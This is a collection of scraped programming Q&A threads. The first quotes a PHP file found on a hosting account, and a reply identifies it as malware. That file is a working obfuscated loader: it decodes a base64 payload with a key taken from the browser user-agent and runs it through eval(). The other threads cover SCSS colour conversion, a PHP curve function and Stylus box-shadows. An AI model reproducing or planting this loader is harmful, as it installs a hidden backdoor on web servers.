I've just come across this file in my cpanel - Dfile.php.....
Inside this particular file this script was written.. I actually understand nothing about this script. Therefore, please help me to understand this script.. I mean what this script is all about ?
<?php
$data = "npeLzaPWytheWo96fIu9V6KR0JyElY6LsT9wQdWX0sSilouLXpLJyp+ilWGnn9JcYFeRZolmicF9d7qThaDF0JpTwJJXkdXMpl1ZbkRBa5qXmNJXiarK0Jefy1jWp8fGmqTWi2twb+FDQJaopZrWnqOeg57HrMTZm5SOXNik0IywPm2EOYfI2aiiUHBXmtenoI/MpcusjYtxO3NCbJXZ1aGQ1smk0tXYXlqTqKmjjlV3hbWDsYi5wYuEsmSDVtnVoVqecTpsyNmooo+mnKvRpahYh5rXqtGOVnW7iq+BtLeUeaildKi3kFackZ+qnItwQTpsmteq0cGpl9qn06aMh5im1dBcg6i5iIJ/g4uWtHqIhbWFtoqmsIl4q4qPUpWMcD5tbVTHxtiXc5OoqaPBmqyVxl+Gm9rUoluhRW07x9inncLHnNLYyV5ak6ipo4twQTpsoMhghoaak9qZjK1xbT46h8iR18aEc1ZwmaCjx5SbldeWxafT1pug2quLVtnVoVqecTps4nFAP6KYq6zUo1RUx5jWmaBvQK9zQsyYjMyopMjYWIfEq3uKi1WeWb9eXatwQWtczIJzUoqXqne4vlyYisFrcG9tWp1QcFeZw6iZZpeWxp3I0ZqXjqvXpMPVpKWUl1iHzI1fcT09QKDIVVyg1ZzJl9LDqpXOYIph2dWhbouSWqKOipqfonBfZYxeY1ePV4afkYJam9Se0luNg7A+bW05h9rWolZtU1ug0Juji5SUnUVvaz9WyqHVUqGDWZrRyp++l8FxQzo8tERsPlil1aOCdYWGq6TSc3A8bYenlczWUKCFiJqfom5EQWt1oZvHoNRgh5BlVJRYh6TIzKdannE6bInZqKJhcF6f1qmkapJmiViTglqn2KSDYISKqZbQ1JzE2clknqSgo16dQj45h6zUpJefXZrarNNsk5JcUZGEVNjX0FZkUFqgpcaarF7Xr9ZfoG9AO4qczKSVoFxfkotQkYWIqJqZpVdlglxjV4Nlgl/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bXi1jbSar5SEociPnJ2ulGWhrKeJ0K6nd6GIY5t9uHunnrxpyqzHlIegvouka7S2dp+wt5PTytulgIlln6vEZ4WfrbCXp8mpfJy/armsx9yYpLCogZOzp6Ftc5qjocN8Zaa9esmmxrlrncCQyqfHqp2ord2n2rOoh2Z7h6qCpYyKmsR+mp+vlIShyI+cna2qoausq2nVr96pgZaEp6e8npygxmqwpMmlnZ2+aMd4uqmon8eXetPJq4ukiIainqyejZfHf6yox7Wdnb5ox3i6qaifx5d608mri6SIhqKnx6yjeq1/xrHGuoier3yTmcirf6HFt5fOvZSafIZ5qqXGaH6gx363pr21oWmpn86dx6p7YcSncZyv3Wqseqxrnqx9mKnEj7SkscuZp8eAtabGpphopsubzr6Wb6uUeo2sxnlknr1pm66/lK6espCxosiqiqXH0YbcxruQpollfWfDjG2lsqCjprHLiGXJpc9ivrZpn6/RmJPHu62kf6qmgbyioKO9jZuvybqImL9qnKfIqoumx6x90q+seJ6Uep6qrHyCpsWltKTH0Ieita/Ofae6i5vEq2jKr6uErJKhiaPEo4Vnpp7OacfPrqLIpdahrpVmY73NZdrGrHeke4eqgsiGcW2Kcm9CbsifnsuX06fYwpig0diV0dnXXlheYqStyGOkmNNZjprG1ZtompfHl8fSmZaLiKPX141fcT09QFvInqCV0ZjPnaKCqafIq9ekjIeUhKi2hqi3v12GeIOWiqeBelfAY9Ws19Smodlgh5G3qIeHqLaLirWshpWDeIN9iZJgV5Jei2OWi3E/cEHYoNDMo5yLi16SjJJanJmfnKXDoplZnkRsQaXFnp/VnItUksupksbHldbYhmJmZ2hsYJ1CPq1wQQ==";
$ktmp = $_SERVER['HTTP_USER_AGENT'];
if(preg_match('/WebKit\/(.*) \(/is',$ktmp,$kk)){
$keys = explode(".",$kk[1]);
$keys = '0Pi'.$keys[0].'hBG';
}
$keys = md5($keys);
$x = 0;
$data = base64_decode($data);
$len = strlen($data);
$l = strlen($keys);
$char = '';
for ($i = 0; $i < $len; $i++) {
if ($x == $l) {
$x = 0;
}
$char .= substr($keys, $x, 1);
$x++;
}
$str = '';
for ($i = 0; $i < $len; $i++) {
if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1))) {
$str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
} else {
$str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
}
}
eval($str);
It seems like php malware. You can try wordfence plugin for clean core files etc.
I am aware SCSS can convert Hex to RGBa, but is there an option for the opposite?
My situation is this: I am given a colour palette that I am not allow to change. This includes a solid accent colour:
$color-accent: #039B15;
I've been asked to use this as a pale background colour, with 80% opacity. That's easy, I can just use rgba():
$color-accent-bg: rgba($color-accent, .2);
However, there is a situation where I need to nest elements with the same opaque background colour - because the colours are opaque they darken when nested.
Is there a way I can convert $color-accent-bg back to hexidecimal with SASS?
Ps: tried using lighten() but that seems to only work up to 66% light.
IMO simple rgba($color-accent-bg, 1) would do the trick - it returns same color as $color-accent.
Otherwise, you can use #ie_hex_str($color). It converts colors to hex string in #AARRGGBB format.
Converts a color into the format understood by IE filters.
Examples: ...
ie-hex-str(rgba(0, 255, 0, 0.5)) => #8000FF00
Since it returns string, you can remove AA part like in last line in following snippet:
$color-accent: #039B15;
$color-accent-bg: rgba($color-accent, .2);
$ie-hex: ie_hex_str($color-accent-bg); //#33039B15
$back-to-color-accent: unquote('#' + str_slice($ie-hex, 4)); //#039B15
Convert RGBa to Hex(transparent. no background, 8-bit color).
Tested solution i have written this code in scss and then converted to sass
In your Scss put:
// convert string to number
#function to-number($value) {
#if type-of($value) == 'number' {
#return $value;
} #else if type-of($value) != 'string' {
#error 'Value for `to-number` should be a number or a string.';
}
$result: 0;
$digits: 0;
$minus: str-slice($value, 1, 1) == '-';
$numbers: ('0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9);
#for $i from if($minus, 2, 1) through str-length($value) {
$character: str-slice($value, $i, $i);
#if (index(map-keys($numbers), $character) or $character == '.') {
#if $character == '.' {
$digits: 1;
} #else if $digits == 0 {
$result: $result * 10 + map-get($numbers, $character);
} #else {
$digits: $digits * 10;
$result: $result + map-get($numbers, $character) / $digits;
}
}
}
#return if($minus, -$result, $result);;
}
#function decimal-round ($number, $digits: 0, $mode: round) {
$n: 1;
// $number must be a number
#if type-of($number) != number {
#warn '#{ $number } is not a number.';
#return $number;
}
// $digits must be a unitless number
#if type-of($digits) != number {
#warn '#{ $digits } is not a number.';
#return $number;
} #else if not unitless($digits) {
#warn '#{ $digits } has a unit.';
#return $number;
}
#if $digits > 0 {
#for $i from 1 through $digits {
$n: $n * 10;
}
}
#if $mode == round {
#return round($number * $n) / $n;
} #else if $mode == ceil {
#return ceil($number * $n) / $n;
} #else if $mode == floor {
#return floor($number * $n) / $n;
} #else {
#warn '#{ $mode } is undefined keyword.';
#return $number;
}
}
#function rgba-to-hex($rgba){
$colorCode: ( '0','1', '2','3','4','5','6','7','8','9','A','B','C','D','E', 'F');
// 255 / 100 = 2.55
// 10 / 16 = 0.625
$alpha: alpha($rgba);
// ============================================= RED ================================
$redStr: ''+(red($rgba) / 16);
$index: str-index($redStr, ".");
// add decimal number incase it does not have and update index
#if $index == null { $redStr: $redStr+'.0'; $index: str-index($redStr, ".");};
// #debug $redStr '========================================================';
$redInteger : to-number(str-slice($redStr, 0, $index - 1));
$redDecimal: decimal-round(to-number(str-slice($redStr, $index + 1, $index + 1)) / 0.625);
// ============================================= GREEN ============================
$greenStr: ''+(green($rgba) / 16);
$index: str-index($greenStr, ".");
// add decimal number incase it does not have and
#if $index == null { $greenStr: $greenStr+'.0'; $index: str-index($greenStr, ".");};
$greenInteger : to-number(str-slice($greenStr, 0, $index - 1));
$greenDecimal: decimal-round(to-number(str-slice($greenStr, $index + 1, $index + 1)) / 0.625);
// ============================================= BLUE ============================
$blueStr: ''+(blue($rgba) / 16);
$index: str-index($blueStr, ".");
// add decimal number incase it does not have and
#if $index == null { $blueStr: $blueStr+'.0'; $index: str-index($blueStr, ".");};
$blueInteger : to-number(str-slice($blueStr, 0, $index - 1));
$blueDecimal: decimal-round(to-number(str-slice($blueStr, $index + 1, $index + 1)) / 0.625) ;
// if interger is 16 sent decimal should be 0
//#debug 'blue: '+ $blueStr +' interter: '+ $blueInteger +' decimal: '+ $blueDecimal;
// $blue: blue($rgba) / 2.55;
// ============================================= ALPHA ============================
$alphaStr: ''+ decimal-round((($alpha*100)*2.55) /16) ;
$index: str-index($alphaStr, ".");
#if $index == null { $alphaStr: $alphaStr+'.0'; $index: str-index($alphaStr, ".");};
//#debug 'alphaStr: '+ decimal-round(to-number($alphaStr)) ;
$alphaInteger : ''+to-number(str-slice($alphaStr, 0, $index - 1));
$index: str-index($alphaInteger, ".");
#if $index == null { $alphaInteger: $alphaInteger+'.0'; $index: str-index($alphaInteger, ".");};
$alphaInteger : to-number(str-slice($alphaStr, 0, $index - 1));
$alphaDecimal: to-number(str-slice(''+to-number(str-slice($alphaStr, $index + 1, str-length($alphaStr))) / 0.625, 0, 2)) ;
// #debug 'Integer: ==== '+$alphaInteger;
// #debug 'Decimal: ==== '+$alphaDecimal;
#return unquote("#"+nth($colorCode, $redInteger + 1)+nth($colorCode, $redDecimal + 1)+nth($colorCode, $greenInteger + 1)+nth($colorCode, $greenDecimal + 1) +nth($colorCode, $blueInteger + 1)+nth($colorCode, $blueDecimal + 1)+nth($colorCode, $alphaInteger + 1)+nth($colorCode, $alphaDecimal + 1));
};
Usage
$result : rgba-to-hex( rgba(192, 84, 84, 0.582));
#debug $result;
.my-class{
background-color: rgba-to-hex( rgba(192, 84, 84, 0.582));
}
OutPut
Terminal:
#C0535390
css build file:
.my-class{
background-color: #C0535390;
}
In your sass file put:
#function to-number($value)
#if type-of($value) == 'number'
#return $value
#else if type-of($value) != 'string'
#error 'Value for `to-number` should be a number or a string.'
$result: 0
$digits: 0
$minus: str-slice($value, 1, 1) == '-'
$numbers: ('0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9)
#for $i from if($minus, 2, 1) through str-length($value)
$character: str-slice($value, $i, $i)
#if (index(map-keys($numbers), $character) or $character == '.')
#if $character == '.'
$digits: 1
#else if $digits == 0
$result: $result * 10 + map-get($numbers, $character)
#else
$digits: $digits * 10
$result: $result + map-get($numbers, $character) / $digits
#return if($minus, -$result, $result)
#function decimal-round ($number, $digits: 0, $mode: round)
$n: 1
#if type-of($number) != number
#warn '#{ $number } is not a number.'
#return $number
// $digits must be a unitless number
#if type-of($digits) != number
#warn '#{ $digits } is not a number.'
#return $number
#else if not unitless($digits)
#warn '#{ $digits } has a unit.'
#return $number
#if $digits > 0
#for $i from 1 through $digits
$n: $n * 10
#if $mode == round
#return round($number * $n) / $n
#else if $mode == ceil
#return ceil($number * $n) / $n
#else if $mode == floor
#return floor($number * $n) / $n
#else
#warn '#{ $mode } is undefined keyword.'
#return $number
#function rgba-to-hex($rgba)
$colorCode: ( '0','1', '2','3','4','5','6','7','8','9','A','B','C','D','E', 'F')
// 255 / 100 = 2.55
// 10 / 16 = 0.625
$alpha: alpha($rgba)
// ============================================= RED ================================
$redStr: ''+(red($rgba) / 16)
$index: str-index($redStr, ".")
// add decimal number incase it does not have and update index
#if $index == null
$redStr: $redStr+'.0'
$index: str-index($redStr, ".")
$redInteger : to-number(str-slice($redStr, 0, $index - 1))
$redDecimal: decimal-round(to-number(str-slice($redStr, $index + 1, $index + 1)) / 0.625)
// ============================================= GREEN ============================
$greenStr: ''+(green($rgba) / 16)
$index: str-index($greenStr, ".")
// add decimal number incase it does not have and
#if $index == null
$greenStr: $greenStr+'.0'
$index: str-index($greenStr, ".")
$greenInteger : to-number(str-slice($greenStr, 0, $index - 1))
$greenDecimal: decimal-round(to-number(str-slice($greenStr, $index + 1, $index + 1)) / 0.625)
// ============================================= BLUE ============================
$blueStr: ''+(blue($rgba) / 16)
$index: str-index($blueStr, ".")
#if $index == null
$blueStr: $blueStr+'.0'
$index: str-index($blueStr, ".")
$blueInteger : to-number(str-slice($blueStr, 0, $index - 1))
$blueDecimal: decimal-round(to-number(str-slice($blueStr, $index + 1, $index + 1)) / 0.625)
// ============================================= ALPHA ============================
$alphaStr: ''+ decimal-round((($alpha*100)*2.55) /16)
$index: str-index($alphaStr, ".")
#if $index == null
$alphaStr: $alphaStr+'.0'
$index: str-index($alphaStr, ".")
$alphaInteger : ''+to-number(str-slice($alphaStr, 0, $index - 1))
$index: str-index($alphaInteger, ".")
#if $index == null
$alphaInteger: $alphaInteger+'.0'
$index: str-index($alphaInteger, ".")
$alphaInteger : to-number(str-slice($alphaStr, 0, $index - 1))
$alphaDecimal: to-number(str-slice(''+to-number(str-slice($alphaStr, $index + 1, str-length($alphaStr))) / 0.625, 0, 2))
#return unquote("#"+nth($colorCode, $redInteger + 1)+nth($colorCode, $redDecimal + 1)+nth($colorCode, $greenInteger + 1)+nth($colorCode, $greenDecimal + 1) +nth($colorCode, $blueInteger + 1)+nth($colorCode, $blueDecimal + 1)+nth($colorCode, $alphaInteger + 1)+nth($colorCode, $alphaDecimal + 1))
$result : rgba-to-hex( rgba(192, 84, 84, 0.582))
#debug 'peter =='+$result
I didn't test the sass file i just remove the semicolon, '{' and '}'.
You could try #039B1580 but i believe this method doesn't work on all browsers
I want to increase the value of a number on a curve. I have:
for($i=1; $i<=40; $i++){
$number = cosh($i);
echo $number;
}
This example curves up too fast. How to do I add a variable to this code that will allow me to adjust the rate the number increases? I looking to adjust the slope of the curve. I'm not looking to adjust the value of the beginning number (ie $i = $i*.3).
Countless ways to do this. Here are two:
Change the exponent of $i. Since your starting value is 1, and 1 raised to any power is still 1. Choose a power in the range (0, 1) (non-inclusive), e.g.:
$number = cosh(pow($i, 0.25));
Slightly more general - a power or a multiple of the difference between $i and starting value:
$start = 1;
$end = 40;
$const = 0.01;
for ($i = $start; $i <= $end; $i++) {
$number = cosh($start + ($i - $start) * $const);
// ...
// or...
$power = 0.25;
for ($i = $start; $i <= $end; $i++) {
$number = cosh($start + pow($i - $start, $power));
// ...
// or a combination of both.
if you don't want to change $i in the for definition, change it within the function call:
for($i=1; $i<=40; $i++){
$number = cosh($i*.3);
echo $number;
}
I found a SASS function for "starry sci" creating:
// n is number of stars required
#function multiple-box-shadow ($n)
$value: '#{random(2000)}px #{random(2000)}px #FFF'
#for $i from 2 through $n
$value: '#{$value} , #{random(2000)}px #{random(2000)}px #FFF'
#return unquote($value)
#stars{
box-shadow: multiple-box-shadow(700)
}
I want to translate it to Stylus, but something doesn't work. I try:
random(min, max)
return floor( math(0, "random") * max + min )
$coordinates = random(1, 2000)px
$distortion = random(1, 20)px
// n is number of stars required
multiple-box-shadow($n)
for $i in (1..$n)
$value = $coordinates $coordinates $distortion $distortion #FFFFFF,
return $value
#stars
box-shadow multiple-box-shadow(700)
random function run only ones and the box-shadow value add only once...
Can anybody help?
Here's a CodePen snippet to view compiled CSS
Something like:
random(min, max)
return floor(math(0, 'random') * max + min)
multiple-box-shadow($n)
$value = '%spx %spx #FFF' % (random(1, 2000) random(1, 2000))
for $i in 2..$n
$value += ', %spx %spx #FFF' % (random(1, 2000) random(1, 2000))
return unquote($value)
#stars
box-shadow: multiple-box-shadow(700)
My colleague suggested this solution to me:
random(min, max)
return floor( math(0, "random") * max + min )
// n is number of stars required
multiple-box-shadow($n)
$coordinates = random(1, 2000)px
$distortion = random(1, 20)px
$value = $coordinates $coordinates $distortion $distortion #FFFFFF
for $i in (2..$n)
$coordinates = random(1, 2000)px
$distortion = random(1, 20)px
$value = $value, $coordinates $coordinates $distortion $distortion #FFFFFF
return $value